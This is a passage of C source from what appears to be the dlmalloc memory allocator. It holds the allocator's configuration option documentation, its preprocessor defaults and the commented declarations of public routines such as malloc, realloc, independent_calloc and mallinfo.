lock/unlock. (If set true, this can be overridden on a per-mspace basis for mspace versions.) If set to a non-zero value other than 1, locks are used, but their implementation is left out, so lock functions must be supplied manually, as described below. USE_SPIN_LOCKS default: 1 iff USE_LOCKS and spin locks available If true, uses custom spin locks for locking. This is currently supported only gcc >= 4.1, older gccs on x86 platforms, and recent MS compilers. Otherwise, posix locks or win32 critical sections are used. USE_RECURSIVE_LOCKS default: not defined If defined nonzero, uses recursive (aka reentrant) locks, otherwise uses plain mutexes. This is not required for malloc proper, but may be needed for layered allocators such as nedmalloc. LOCK_AT_FORK default: not defined If defined nonzero, performs pthread_atfork upon initialization to initialize child lock while holding parent lock. The implementation assumes that pthread locks (not custom locks) are being used. In other cases, you may need to customize the implementation. FOOTERS default: 0 If true, provide extra checking and dispatching by placing information in the footers of allocated chunks. This adds space and time overhead. INSECURE default: 0 If true, omit checks for usage errors and heap space overwrites. USE_DL_PREFIX default: NOT defined Causes compiler to prefix all public routines with the string 'dl'. This can be useful when you only want to use this malloc in one part of a program, using your regular system malloc elsewhere. MALLOC_INSPECT_ALL default: NOT defined If defined, compiles malloc_inspect_all and mspace_inspect_all, that perform traversal of all heap space. Unless access to these functions is otherwise restricted, you probably do not want to include them in secure implementations. ABORT default: defined as abort() Defines how to abort on failed checks. On most systems, a failed check cannot die with an "assert" or even print an informative message, because the underlying print routines in turn call malloc, which will fail again. Generally, the best policy is to simply call abort(). It's not very useful to do more than this because many errors due to overwriting will show up as address faults (null, odd addresses etc) rather than malloc-triggered checks, so will also abort. Also, most compilers know that abort() does not return, so can better optimize code conditionally calling it. PROCEED_ON_ERROR default: defined as 0 (false) Controls whether detected bad addresses cause them to bypassed rather than aborting. If set, detected bad arguments to free and realloc are ignored. And all bookkeeping information is zeroed out upon a detected overwrite of freed heap space, thus losing the ability to ever return it from malloc again, but enabling the application to proceed. If PROCEED_ON_ERROR is defined, the static variable malloc_corruption_error_count is compiled in and can be examined to see if errors have occurred. This option generates slower code than the default abort policy. DEBUG default: NOT defined The DEBUG setting is mainly intended for people trying to modify this code or diagnose problems when porting to new platforms. However, it may also be able to better isolate user errors than just using runtime checks. The assertions in the check routines spell out in more detail the assumptions and invariants underlying the algorithms. The checking is fairly extensive, and will slow down execution noticeably. Calling malloc_stats or mallinfo with DEBUG set will attempt to check every non-mmapped allocated and free chunk in the course of computing the summaries. ABORT_ON_ASSERT_FAILURE default: defined as 1 (true) Debugging assertion failures can be nearly impossible if your version of the assert macro causes malloc to be called, which will lead to a cascade of further failures, blowing the runtime stack. ABORT_ON_ASSERT_FAILURE cause assertions failures to call abort(), which will usually make debugging easier. MALLOC_FAILURE_ACTION default: sets errno to ENOMEM, or no-op on win32 The action to take before "return 0" when malloc fails to be able to return memory because there is none available. HAVE_MORECORE default: 1 (true) unless win32 or ONLY_MSPACES True if this system supports sbrk or an emulation of it. MORECORE default: sbrk The name of the sbrk-style system routine to call to obtain more memory. See below for guidance on writing custom MORECORE functions. The type of the argument to sbrk/MORECORE varies across systems. It cannot be size_t, because it supports negative arguments, so it is normally the signed type of the same width as size_t (sometimes declared as "intptr_t"). It doesn't much matter though. Internally, we only call it with arguments less than half the max value of a size_t, which should work across all reasonable possibilities, although sometimes generating compiler warnings. MORECORE_CONTIGUOUS default: 1 (true) if HAVE_MORECORE If true, take advantage of fact that consecutive calls to MORECORE with positive arguments always return contiguous increasing addresses. This is true of unix sbrk. It does not hurt too much to set it true anyway, since malloc copes with non-contiguities. Setting it false when definitely non-contiguous saves time and possibly wasted space it would take to discover this though. MORECORE_CANNOT_TRIM default: NOT defined True if MORECORE cannot release space back to the system when given negative arguments. This is generally necessary only if you are using a hand-crafted MORECORE function that cannot handle negative arguments. NO_SEGMENT_TRAVERSAL default: 0 If non-zero, suppresses traversals of memory segments returned by either MORECORE or CALL_MMAP. This disables merging of segments that are contiguous, and selectively releasing them to the OS if unused, but bounds execution times. HAVE_MMAP default: 1 (true) True if this system supports mmap or an emulation of it. If so, and HAVE_MORECORE is not true, MMAP is used for all system allocation. If set and HAVE_MORECORE is true as well, MMAP is primarily used to directly allocate very large blocks. It is also used as a backup strategy in cases where MORECORE fails to provide space from system. Note: A single call to MUNMAP is assumed to be able to unmap memory that may have be allocated using multiple calls to MMAP, so long as they are adjacent. HAVE_MREMAP default: 1 on linux, else 0 If true realloc() uses mremap() to re-allocate large blocks and extend or shrink allocation spaces. MMAP_CLEARS default: 1 except on WINCE. True if mmap clears memory so calloc doesn't need to. This is true for standard unix mmap using /dev/zero and on WIN32 except for WINCE. USE_BUILTIN_FFS default: 0 (i.e., not used) Causes malloc to use the builtin ffs() function to compute indices. Some compilers may recognize and intrinsify ffs to be faster than the supplied C version. Also, the case of x86 using gcc is special-cased to an asm instruction, so is already as fast as it can be, and so this setting has no effect. Similarly for Win32 under recent MS compilers. (On most x86s, the asm version is only slightly faster than the C version.) malloc_getpagesize default: derive from system includes, or 4096. The system page size. To the extent possible, this malloc manages memory from the system in page-size units. This may be (and usually is) a function rather than a constant. This is ignored if WIN32, where page size is determined using getSystemInfo during initialization. USE_DEV_RANDOM default: 0 (i.e., not used) Causes malloc to use /dev/random to initialize secure magic seed for stamping footers. Otherwise, the current time is used. NO_MALLINFO default: 0 If defined, don't compile "mallinfo". This can be a simple way of dealing with mismatches between system declarations and those in this file. MALLINFO_FIELD_TYPE default: size_t The type of the fields in the mallinfo struct. This was originally defined as "int" in SVID etc, but is more usefully defined as size_t. The value is used only if HAVE_USR_INCLUDE_MALLOC_H is not set NO_MALLOC_STATS default: 0 If defined, don't compile "malloc_stats". This avoids calls to fprintf and bringing in stdio dependencies you might not want. REALLOC_ZERO_BYTES_FREES default: not defined This should be set if a call to realloc with zero bytes should be the same as a call to free. Some people think it should. Otherwise, since this malloc returns a unique pointer for malloc(0), so does realloc(p, 0). LACKS_UNISTD_H, LACKS_FCNTL_H, LACKS_SYS_PARAM_H, LACKS_SYS_MMAN_H LACKS_STRINGS_H, LACKS_STRING_H, LACKS_SYS_TYPES_H, LACKS_ERRNO_H LACKS_STDLIB_H LACKS_SCHED_H LACKS_TIME_H default: NOT defined unless on WIN32 Define these if your system does not have these header files. You might need to manually insert some of the declarations they provide. DEFAULT_GRANULARITY default: page size if MORECORE_CONTIGUOUS, system_info.dwAllocationGranularity in WIN32, otherwise 64K. Also settable using mallopt(M_GRANULARITY, x) The unit for allocating and deallocating memory from the system. On most systems with contiguous MORECORE, there is no reason to make this more than a page. However, systems with MMAP tend to either require or encourage larger granularities. You can increase this value to prevent system allocation functions to be called so often, especially if they are slow. The value must be at least one page and must be a power of two. Setting to 0 causes initialization to either page size or win32 region size. (Note: In previous versions of malloc, the equivalent of this option was called "TOP_PAD") DEFAULT_TRIM_THRESHOLD default: 2MB Also settable using mallopt(M_TRIM_THRESHOLD, x) The maximum amount of unused top-most memory to keep before releasing via malloc_trim in free(). Automatic trimming is mainly useful in long-lived programs using contiguous MORECORE. Because trimming via sbrk can be slow on some systems, and can sometimes be wasteful (in cases where programs immediately afterward allocate more large chunks) the value should be high enough so that your overall system performance would improve by releasing this much memory. As a rough guide, you might set to a value close to the average size of a process (program) running on your system. Releasing this much memory would allow such a process to run in memory. Generally, it is worth tuning trim thresholds when a program undergoes phases where several large chunks are allocated and released in ways that can reuse each other's storage, perhaps mixed with phases where there are no such chunks at all. The trim value must be greater than page size to have any useful effect. To disable trimming completely, you can set to MAX_SIZE_T. Note that the trick some people use of mallocing a huge space and then freeing it at program startup, in an attempt to reserve system memory, doesn't have the intended effect under automatic trimming, since that memory will immediately be returned to the system. DEFAULT_MMAP_THRESHOLD default: 256K Also settable using mallopt(M_MMAP_THRESHOLD, x) The request size threshold for using MMAP to directly service a request. Requests of at least this size that cannot be allocated using already-existing space will be serviced via mmap. (If enough normal freed space already exists it is used instead.) Using mmap segregates relatively large chunks of memory so that they can be individually obtained and released from the host system. A request serviced through mmap is never reused by any other request (at least not directly; the system may just so happen to remap successive requests to the same locations). Segregating space in this way has the benefits that: Mmapped space can always be individually released back to the system, which helps keep the system level memory demands of a long-lived program low. Also, mapped memory doesn't become `locked' between other chunks, as can happen with normally allocated chunks, which means that even trimming via malloc_trim would not release them. However, it has the disadvantage that the space cannot be reclaimed, consolidated, and then used to service later requests, as happens with normal chunks. The advantages of mmap nearly always outweigh disadvantages for "large" chunks, but the value of "large" may vary across systems. The default is an empirically derived value that works well in most systems. You can disable mmap by setting to MAX_SIZE_T. MAX_RELEASE_CHECK_RATE default: 4095 unless not HAVE_MMAP The number of consolidated frees between checks to release unused segments when freeing. When using non-contiguous segments, especially with multiple mspaces, checking only for topmost space doesn't always suffice to trigger trimming. To compensate for this, free() will, with a period of MAX_RELEASE_CHECK_RATE (or the current number of segments, if greater) try to release unused segments to the OS when freeing chunks that result in consolidation. The best value for this parameter is a compromise between slowing down frees with relatively costly checks that rarely trigger versus holding on to unused memory. To effectively disable, set to MAX_SIZE_T. This may lead to a very slight speed improvement at the expense of carrying around more memory. */ #define USE_DL_PREFIX #define USE_LOCKS 1 /* Version identifier to allow people to support multiple versions */ #ifndef DLMALLOC_VERSION #define DLMALLOC_VERSION 20806 #endif /* DLMALLOC_VERSION */ #ifndef DLMALLOC_EXPORT #define DLMALLOC_EXPORT extern #endif #ifndef WIN32 #ifdef _WIN32 #define WIN32 1 #endif /* _WIN32 */ #ifdef _WIN32_WCE #define LACKS_FCNTL_H #define WIN32 1 #endif /* _WIN32_WCE */ #endif /* WIN32 */ #ifdef WIN32 #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <tchar.h> #define HAVE_MMAP 1 #define HAVE_MORECORE 0 #define LACKS_UNISTD_H #define LACKS_SYS_PARAM_H #define LACKS_SYS_MMAN_H #define LACKS_STRING_H #define LACKS_STRINGS_H #define LACKS_SYS_TYPES_H #define LACKS_ERRNO_H #define LACKS_SCHED_H #ifndef MALLOC_FAILURE_ACTION #define MALLOC_FAILURE_ACTION #endif /* MALLOC_FAILURE_ACTION */ #ifndef MMAP_CLEARS #ifdef _WIN32_WCE /* WINCE reportedly does not clear */ #define MMAP_CLEARS 0 #else #define MMAP_CLEARS 1 #endif /* _WIN32_WCE */ #endif /*MMAP_CLEARS */ #endif /* WIN32 */ #if defined(DARWIN) || defined(_DARWIN) /* Mac OSX docs advise not to use sbrk; it seems better to use mmap */ #ifndef HAVE_MORECORE #define HAVE_MORECORE 0 #define HAVE_MMAP 1 /* OSX allocators provide 16 byte alignment */ #ifndef MALLOC_ALIGNMENT #define MALLOC_ALIGNMENT ((size_t)16U) #endif #endif /* HAVE_MORECORE */ #endif /* DARWIN */ #ifndef LACKS_SYS_TYPES_H #include <sys/types.h> /* For size_t */ #endif /* LACKS_SYS_TYPES_H */ /* The maximum possible size_t value has all bits set */ #define MAX_SIZE_T (~(size_t)0) #ifndef USE_LOCKS /* ensure true if spin or recursive locks set */ #define USE_LOCKS ((defined(USE_SPIN_LOCKS) && USE_SPIN_LOCKS != 0) || \ (defined(USE_RECURSIVE_LOCKS) && USE_RECURSIVE_LOCKS != 0)) #endif /* USE_LOCKS */ #if USE_LOCKS /* Spin locks for gcc >= 4.1, older gcc on x86, MSC >= 1310 */ #if ((defined(__GNUC__) && \ ((__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 1)) || \ defined(__i386__) || defined(__x86_64__))) || \ (defined(_MSC_VER) && _MSC_VER>=1310)) #ifndef USE_SPIN_LOCKS #define USE_SPIN_LOCKS 1 #endif /* USE_SPIN_LOCKS */ #elif USE_SPIN_LOCKS #error "USE_SPIN_LOCKS defined without implementation" #endif /* ... locks available... */ #elif !defined(USE_SPIN_LOCKS) #define USE_SPIN_LOCKS 0 #endif /* USE_LOCKS */ #ifndef ONLY_MSPACES #define ONLY_MSPACES 0 #endif /* ONLY_MSPACES */ #ifndef MSPACES #if ONLY_MSPACES #define MSPACES 1 #else /* ONLY_MSPACES */ #define MSPACES 0 #endif /* ONLY_MSPACES */ #endif /* MSPACES */ #ifndef MALLOC_ALIGNMENT #define MALLOC_ALIGNMENT ((size_t)(2 * sizeof(void *))) #endif /* MALLOC_ALIGNMENT */ #ifndef FOOTERS #define FOOTERS 0 #endif /* FOOTERS */ #ifndef ABORT #define ABORT abort() #endif /* ABORT */ #ifndef ABORT_ON_ASSERT_FAILURE #define ABORT_ON_ASSERT_FAILURE 1 #endif /* ABORT_ON_ASSERT_FAILURE */ #ifndef PROCEED_ON_ERROR #define PROCEED_ON_ERROR 0 #endif /* PROCEED_ON_ERROR */ #ifndef INSECURE #define INSECURE 0 #endif /* INSECURE */ #ifndef MALLOC_INSPECT_ALL #define MALLOC_INSPECT_ALL 0 #endif /* MALLOC_INSPECT_ALL */ #ifndef HAVE_MMAP #define HAVE_MMAP 1 #endif /* HAVE_MMAP */ #ifndef MMAP_CLEARS #define MMAP_CLEARS 1 #endif /* MMAP_CLEARS */ #ifndef HAVE_MREMAP #ifdef linux #define HAVE_MREMAP 1 #define _GNU_SOURCE /* Turns on mremap() definition */ #else /* linux */ #define HAVE_MREMAP 0 #endif /* linux */ #endif /* HAVE_MREMAP */ #ifndef MALLOC_FAILURE_ACTION #define MALLOC_FAILURE_ACTION errno = ENOMEM; #endif /* MALLOC_FAILURE_ACTION */ #ifndef HAVE_MORECORE #if ONLY_MSPACES #define HAVE_MORECORE 0 #else /* ONLY_MSPACES */ #define HAVE_MORECORE 1 #endif /* ONLY_MSPACES */ #endif /* HAVE_MORECORE */ #if !HAVE_MORECORE #define MORECORE_CONTIGUOUS 0 #else /* !HAVE_MORECORE */ #define MORECORE_DEFAULT sbrk #ifndef MORECORE_CONTIGUOUS #define MORECORE_CONTIGUOUS 1 #endif /* MORECORE_CONTIGUOUS */ #endif /* HAVE_MORECORE */ #ifndef DEFAULT_GRANULARITY #if (MORECORE_CONTIGUOUS || defined(WIN32)) #define DEFAULT_GRANULARITY (0) /* 0 means to compute in init_mparams */ #else /* MORECORE_CONTIGUOUS */ #define DEFAULT_GRANULARITY ((size_t)64U * (size_t)1024U) #endif /* MORECORE_CONTIGUOUS */ #endif /* DEFAULT_GRANULARITY */ #ifndef DEFAULT_TRIM_THRESHOLD #ifndef MORECORE_CANNOT_TRIM #define DEFAULT_TRIM_THRESHOLD ((size_t)2U * (size_t)1024U * (size_t)1024U) #else /* MORECORE_CANNOT_TRIM */ #define DEFAULT_TRIM_THRESHOLD MAX_SIZE_T #endif /* MORECORE_CANNOT_TRIM */ #endif /* DEFAULT_TRIM_THRESHOLD */ #ifndef DEFAULT_MMAP_THRESHOLD #if HAVE_MMAP #define DEFAULT_MMAP_THRESHOLD ((size_t)256U * (size_t)1024U) #else /* HAVE_MMAP */ #define DEFAULT_MMAP_THRESHOLD MAX_SIZE_T #endif /* HAVE_MMAP */ #endif /* DEFAULT_MMAP_THRESHOLD */ #ifndef MAX_RELEASE_CHECK_RATE #if HAVE_MMAP #define MAX_RELEASE_CHECK_RATE 4095 #else #define MAX_RELEASE_CHECK_RATE MAX_SIZE_T #endif /* HAVE_MMAP */ #endif /* MAX_RELEASE_CHECK_RATE */ #ifndef USE_BUILTIN_FFS #define USE_BUILTIN_FFS 0 #endif /* USE_BUILTIN_FFS */ #ifndef USE_DEV_RANDOM #define USE_DEV_RANDOM 0 #endif /* USE_DEV_RANDOM */ #ifndef NO_MALLINFO #define NO_MALLINFO 0 #endif /* NO_MALLINFO */ #ifndef MALLINFO_FIELD_TYPE #define MALLINFO_FIELD_TYPE size_t #endif /* MALLINFO_FIELD_TYPE */ #ifndef NO_MALLOC_STATS #define NO_MALLOC_STATS 0 #endif /* NO_MALLOC_STATS */ #ifndef NO_SEGMENT_TRAVERSAL #define NO_SEGMENT_TRAVERSAL 0 #endif /* NO_SEGMENT_TRAVERSAL */ /* mallopt tuning options. SVID/XPG defines four standard parameter numbers for mallopt, normally defined in malloc.h. None of these are used in this malloc, so setting them has no effect. But this malloc does support the following options. */ #define M_TRIM_THRESHOLD (-1) #define M_GRANULARITY (-2) #define M_MMAP_THRESHOLD (-3) /* ------------------------ Mallinfo declarations ------------------------ */ #if !NO_MALLINFO /* This version of malloc supports the standard SVID/XPG mallinfo routine that returns a struct containing usage properties and statistics. It should work on any system that has a /usr/include/malloc.h defining struct mallinfo. The main declaration needed is the mallinfo struct that is returned (by-copy) by mallinfo(). The malloinfo struct contains a bunch of fields that are not even meaningful in this version of malloc. These fields are are instead filled by mallinfo() with other numbers that might be of interest. HAVE_USR_INCLUDE_MALLOC_H should be set if you have a /usr/include/malloc.h file that includes a declaration of struct mallinfo. If so, it is included; else a compliant version is declared below. These must be precisely the same for mallinfo() to work. The original SVID version of this struct, defined on most systems with mallinfo, declares all fields as ints. But some others define as unsigned long. If your system defines the fields using a type of different width than listed here, you MUST #include your system version and #define HAVE_USR_INCLUDE_MALLOC_H. */ /* #define HAVE_USR_INCLUDE_MALLOC_H */ #ifdef HAVE_USR_INCLUDE_MALLOC_H #include "/usr/include/malloc.h" #else /* HAVE_USR_INCLUDE_MALLOC_H */ #ifndef STRUCT_MALLINFO_DECLARED /* HP-UX (and others?) redefines mallinfo unless _STRUCT_MALLINFO is defined */ #define _STRUCT_MALLINFO #define STRUCT_MALLINFO_DECLARED 1 struct mallinfo { MALLINFO_FIELD_TYPE arena; /* non-mmapped space allocated from system */ MALLINFO_FIELD_TYPE ordblks; /* number of free chunks */ MALLINFO_FIELD_TYPE smblks; /* always 0 */ MALLINFO_FIELD_TYPE hblks; /* always 0 */ MALLINFO_FIELD_TYPE hblkhd; /* space in mmapped regions */ MALLINFO_FIELD_TYPE usmblks; /* maximum total allocated space */ MALLINFO_FIELD_TYPE fsmblks; /* always 0 */ MALLINFO_FIELD_TYPE uordblks; /* total allocated space */ MALLINFO_FIELD_TYPE fordblks; /* total free space */ MALLINFO_FIELD_TYPE keepcost; /* releasable (via malloc_trim) space */ }; #endif /* STRUCT_MALLINFO_DECLARED */ #endif /* HAVE_USR_INCLUDE_MALLOC_H */ #endif /* NO_MALLINFO */ /* Try to persuade compilers to inline. The most critical functions for inlining are defined as macros, so these aren't used for them. */ #ifndef FORCEINLINE #if defined(__GNUC__) #define FORCEINLINE __inline __attribute__ ((always_inline)) #elif defined(_MSC_VER) #define FORCEINLINE __forceinline #endif #endif #ifndef NOINLINE #if defined(__GNUC__) #define NOINLINE __attribute__ ((noinline)) #elif defined(_MSC_VER) #define NOINLINE __declspec(noinline) #else #define NOINLINE #endif #endif #ifdef __cplusplus extern "C" { #ifndef FORCEINLINE #define FORCEINLINE inline #endif #endif /* __cplusplus */ #ifndef FORCEINLINE #define FORCEINLINE #endif #if !ONLY_MSPACES /* ------------------- Declarations of public routines ------------------- */ #ifndef USE_DL_PREFIX #define dlcalloc calloc #define dlfree free #define dlmalloc malloc #define dlmemalign memalign #define dlposix_memalign posix_memalign #define dlrealloc realloc #define dlrealloc_in_place realloc_in_place #define dlvalloc valloc #define dlpvalloc pvalloc #define dlmallinfo mallinfo #define dlmallopt mallopt #define dlmalloc_trim malloc_trim #define dlmalloc_stats malloc_stats #define dlmalloc_usable_size malloc_usable_size #define dlmalloc_footprint malloc_footprint #define dlmalloc_max_footprint malloc_max_footprint #define dlmalloc_footprint_limit malloc_footprint_limit #define dlmalloc_set_footprint_limit malloc_set_footprint_limit #define dlmalloc_inspect_all malloc_inspect_all #define dlindependent_calloc independent_calloc #define dlindependent_comalloc independent_comalloc #define dlbulk_free bulk_free #endif /* USE_DL_PREFIX */ /* malloc(size_t n) Returns a pointer to a newly allocated chunk of at least n bytes, or null if no space is available, in which case errno is set to ENOMEM on ANSI C systems. If n is zero, malloc returns a minimum-sized chunk. (The minimum size is 16 bytes on most 32bit systems, and 32 bytes on 64bit systems.) Note that size_t is an unsigned type, so calls with arguments that would be negative if signed are interpreted as requests for huge amounts of space, which will often fail. The maximum supported value of n differs across systems, but is in all cases less than the maximum representable value of a size_t. */ DLMALLOC_EXPORT void* dlmalloc(size_t); /* free(void* p) Releases the chunk of memory pointed to by p, that had been previously allocated using malloc or a related routine such as realloc. It has no effect if p is null. If p was not malloced or already freed, free(p) will by default cause the current program to abort. */ DLMALLOC_EXPORT void dlfree(void*); /* calloc(size_t n_elements, size_t element_size); Returns a pointer to n_elements * element_size bytes, with all locations set to zero. */ DLMALLOC_EXPORT void* dlcalloc(size_t, size_t); /* realloc(void* p, size_t n) Returns a pointer to a chunk of size n that contains the same data as does chunk p up to the minimum of (n, p's size) bytes, or null if no space is available. The returned pointer may or may not be the same as p. The algorithm prefers extending p in most cases when possible, otherwise it employs the equivalent of a malloc-copy-free sequence. If p is null, realloc is equivalent to malloc. If space is not available, realloc returns null, errno is set (if on ANSI) and p is NOT freed. if n is for fewer bytes than already held by p, the newly unused space is lopped off and freed if possible. realloc with a size argument of zero (re)allocates a minimum-sized chunk. The old unix realloc convention of allowing the last-free'd chunk to be used as an argument to realloc is not supported. */ DLMALLOC_EXPORT void* dlrealloc(void*, size_t); /* realloc_in_place(void* p, size_t n) Resizes the space allocated for p to size n, only if this can be done without moving p (i.e., only if there is adjacent space available if n is greater than p's current allocated size, or n is less than or equal to p's size). This may be used instead of plain realloc if an alternative allocation strategy is needed upon failure to expand space; for example, reallocation of a buffer that must be memory-aligned or cleared. You can use realloc_in_place to trigger these alternatives only when needed. Returns p if successful; otherwise null. */ DLMALLOC_EXPORT void* dlrealloc_in_place(void*, size_t); /* memalign(size_t alignment, size_t n); Returns a pointer to a newly allocated chunk of n bytes, aligned in accord with the alignment argument. The alignment argument should be a power of two. If the argument is not a power of two, the nearest greater power is used. 8-byte alignment is guaranteed by normal malloc calls, so don't bother calling memalign with an argument of 8 or less. Overreliance on memalign is a sure way to fragment space. */ DLMALLOC_EXPORT void* dlmemalign(size_t, size_t); /* int posix_memalign(void** pp, size_t alignment, size_t n); Allocates a chunk of n bytes, aligned in accord with the alignment argument. Differs from memalign only in that it (1) assigns the allocated memory to *pp rather than returning it, (2) fails and returns EINVAL if the alignment is not a power of two (3) fails and returns ENOMEM if memory cannot be allocated. */ DLMALLOC_EXPORT int dlposix_memalign(void**, size_t, size_t); /* valloc(size_t n); Equivalent to memalign(pagesize, n), where pagesize is the page size of the system. If the pagesize is unknown, 4096 is used. */ DLMALLOC_EXPORT void* dlvalloc(size_t); /* mallopt(int parameter_number, int parameter_value) Sets tunable parameters The format is to provide a (parameter-number, parameter-value) pair. mallopt then sets the corresponding parameter to the argument value if it can (i.e., so long as the value is meaningful), and returns 1 if successful else 0. To workaround the fact that mallopt is specified to use int, not size_t parameters, the value -1 is specially treated as the maximum unsigned size_t value. SVID/XPG/ANSI defines four standard param numbers for mallopt, normally defined in malloc.h. None of these are use in this malloc, so setting them has no effect. But this malloc also supports other options in mallopt. See below for details. Briefly, supported parameters are as follows (listed defaults are for "typical" configurations). Symbol param # default allowed param values M_TRIM_THRESHOLD -1 2*1024*1024 any (-1 disables) M_GRANULARITY -2 page size any power of 2 >= page size M_MMAP_THRESHOLD -3 256*1024 any (or 0 if no MMAP support) */ DLMALLOC_EXPORT int dlmallopt(int, int); /* malloc_footprint(); Returns the number of bytes obtained from the system. The total number of bytes allocated by malloc, realloc etc., is less than this value. Unlike mallinfo, this function returns only a precomputed result, so can be called frequently to monitor memory consumption. Even if locks are otherwise defined, this function does not use them, so results might not be up to date. */ DLMALLOC_EXPORT size_t dlmalloc_footprint(void); /* malloc_max_footprint(); Returns the maximum number of bytes obtained from the system. This value will be greater than current footprint if deallocated space has been reclaimed by the system. The peak number of bytes allocated by malloc, realloc etc., is less than this value. Unlike mallinfo, this function returns only a precomputed result, so can be called frequently to monitor memory consumption. Even if locks are otherwise defined, this function does not use them, so results might not be up to date. */ DLMALLOC_EXPORT size_t dlmalloc_max_footprint(void); /* malloc_footprint_limit(); Returns the number of bytes that the heap is allowed to obtain from the system, returning the last value returned by malloc_set_footprint_limit, or the maximum size_t value if never set. The returned value reflects a permission. There is no guarantee that this number of bytes can actually be obtained from the system. */ DLMALLOC_EXPORT size_t dlmalloc_footprint_limit(); /* malloc_set_footprint_limit(); Sets the maximum number of bytes to obtain from the system, causing failure returns from malloc and related functions upon attempts to exceed this value. The argument value may be subject to page rounding to an enforceable limit; this actual value is returned. Using an argument of the maximum possible size_t effectively disables checks. If the argument is less than or equal to the current malloc_footprint, then all future allocations that require additional system memory will fail. However, invocation cannot retroactively deallocate existing used memory. */ DLMALLOC_EXPORT size_t dlmalloc_set_footprint_limit(size_t bytes); #if MALLOC_INSPECT_ALL /* malloc_inspect_all(void(*handler)(void *start, void *end, size_t used_bytes, void* callback_arg), void* arg); Traverses the heap and calls the given handler for each managed region, skipping all bytes that are (or may be) used for bookkeeping purposes. Traversal does not include include chunks that have been directly memory mapped. Each reported region begins at the start address, and continues up to but not including the end address. The first used_bytes of the region contain allocated data. If used_bytes is zero, the region is unallocated. The handler is invoked with the given callback argument. If locks are defined, they are held during the entire traversal. It is a bad idea to invoke other malloc functions from within the handler. For example, to count the number of in-use chunks with size greater than 1000, you could write: static int count = 0; void count_chunks(void* start, void* end, size_t used, void* arg) { if (used >= 1000) ++count; } then: malloc_inspect_all(count_chunks, NULL); malloc_inspect_all is compiled only if MALLOC_INSPECT_ALL is defined. */ DLMALLOC_EXPORT void dlmalloc_inspect_all(void(*handler)(void*, void *, size_t, void*), void* arg); #endif /* MALLOC_INSPECT_ALL */ #if !NO_MALLINFO /* mallinfo() Returns (by copy) a struct containing various summary statistics: arena: current total non-mmapped bytes allocated from system ordblks: the number of free chunks smblks: always zero. hblks: current number of mmapped regions hblkhd: total bytes held in mmapped regions usmblks: the maximum total allocated space. This will be greater than current total if trimming has occurred. fsmblks: always zero uordblks: current total allocated space (normal or mmapped) fordblks: total free space keepcost: the maximum number of bytes that could ideally be released back to system via malloc_trim. ("ideally" means that it ignores page restrictions etc.) Because these fields are ints, but internal bookkeeping may be kept as longs, the reported values may wrap around zero and thus be inaccurate. */ DLMALLOC_EXPORT struct mallinfo dlmallinfo(void); #endif /* NO_MALLINFO */ /* independent_calloc(size_t n_elements, size_t element_size, void* chunks[]); independent_calloc is similar to calloc, but instead of returning a single cleared space, it returns an array of pointers to n_elements independent elements that can hold contents of size elem_size, each of which starts out cleared, and can be independently freed, realloc'ed etc. The elements are guaranteed to be adjacently allocated (this is not guaranteed to occur with multiple callocs or mallocs), which may also improve cache locality in some applications. The "chunks" argument is optional (i.e., may be null, which is probably the most typical usage). If it is null, the returned array is itself dynamically allocated and should also be freed when it is no longer needed. Otherwise, the chunks array must be of at least n_elements in length. It is filled in with the pointers to the chunks. In either case, independent_calloc returns this pointer array, or null if the allocation failed. If n_elements is zero and "chunks" is null, it returns a chunk representing an array with zero elements (which should be freed if not wanted). Each element must be freed when it is no longer needed. This can be done all at once using bulk_free. independent_calloc simplifies and speeds up implementations of many kinds of pools. It may also be useful when constructing large data structures that initially have a fixed number of fixed-sized nodes, but the number is not known at compile time, and some of the nodes may later need to be freed. For example: struct Node { int item; struct Node* next; }; struct Node* build_list() { struct Node** pool; int n = read_number_of_nodes_needed(); if (n <= 0) return 0; pool = (struct Node**)(independent_calloc(n, sizeof(struct Node), 0); if (pool == 0) die(); // organize into a linked list... struct Node* first = pool[0]; for (i = 0; i < n-1; ++i) pool[i]->next = pool[i+1]; free(pool); // Can now free the array (or not, if it is needed later) return first; } */ DLMALLOC_EXPORT void** dlindependent_calloc(size_t, size_t, void**); /* independent_comalloc(size_t n_elements, size_t sizes[], void* chunks[]); independent_comalloc allocates, all at once, a set of n_elements chunks with sizes indicated in the "sizes" array. It returns an array of pointers to these elements, each of which can be independently freed, realloc'ed etc. The elements are guaranteed to be adjacently allocated (this is not guaranteed to occur with multiple callocs or mallocs), which may also improve cache locality in some applications. The "chunks" argument is optional (i.e., may be null). If it is null the returned array is itself dynamically allocated and should also be freed when it is no longer needed. Otherwise, the chunks array must be of at least n_elements in length. It is filled in with the pointers to the chunks. In either case, independent_comalloc returns this pointer array, or null if the allocation failed. If n_elements is zero and chunks is null, it returns a chunk representing an array with zero elements (which should be freed if not wanted). Each element must be freed when it is no longer needed. This can be done all at once using bulk_free. independent_comallac differs from independent_calloc in that each element may have a different size, and also that it does not automatically clear elements. independent_comalloc can be used to speed up allocation in cases where several structs or objects must always be allocated at the same time. For example: struct Head { ... } struct Foot { ... } void send_message(char* msg) { int msglen = strlen(msg); size_t sizes[3] = { sizeof(struct Head), msglen, sizeof(struct Foot) }; void* chunks[3]; if (independent_comalloc(3, sizes, chunks) == 0) die(); struct Head* head = (struct Head*)(chunks[0]); char* body = (char*)(chunks[1]); struct Foot* foot = (struct Foot*)(chunks[2]); // ... } In general though, independent_comalloc is worth using only for larger values of n_elements. For small values, you probably won't detect enough difference from series of malloc calls to bother. Overuse of independent_comalloc can increase overall memory usage, since it cannot reuse existing noncontiguous small chunks that might be available for some of the elements. */ DLMALLOC_EXPORT void** dlindependent_comalloc(size_t, size_t*, void**); /* bulk_free(void* array[], size_t n_elements) Frees and clears (sets to null) each non-null pointer in the given array. This is likely to be faster than freeing them one-by-one. If footers are used, pointers that have been allocated in different mspaces are not freed or cleared, and the count of all such pointers is returned. For large arrays of pointers with poor locality, it may be worthwhile to sort this array before calling bulk_free. */ DLMALLOC_EXPORT size_t dlbulk_free(void**, size_t n_elements); /* pvalloc(size_t n); Equivalent to valloc(minimum-page-that-holds(n)), that is, round up n to nearest pagesize. */ DLMALLOC_EXPORT void* dlpvalloc(size_t); /* malloc_trim(size_t pad); If possible, gives memory back to the system (via negative arguments to sbrk) if there is unused memory at the `high' end of the malloc pool or in unused MMAP segments. You can call this after freeing large blocks of memory to potentially reduce the system-level memory requirements of a program. However, it cannot guarantee to reduce memory. Under some allocation patterns, some large free blocks of memory will be locked between two used chunks, so they cannot be given back to the system. The `pad' argument to malloc_trim represents the 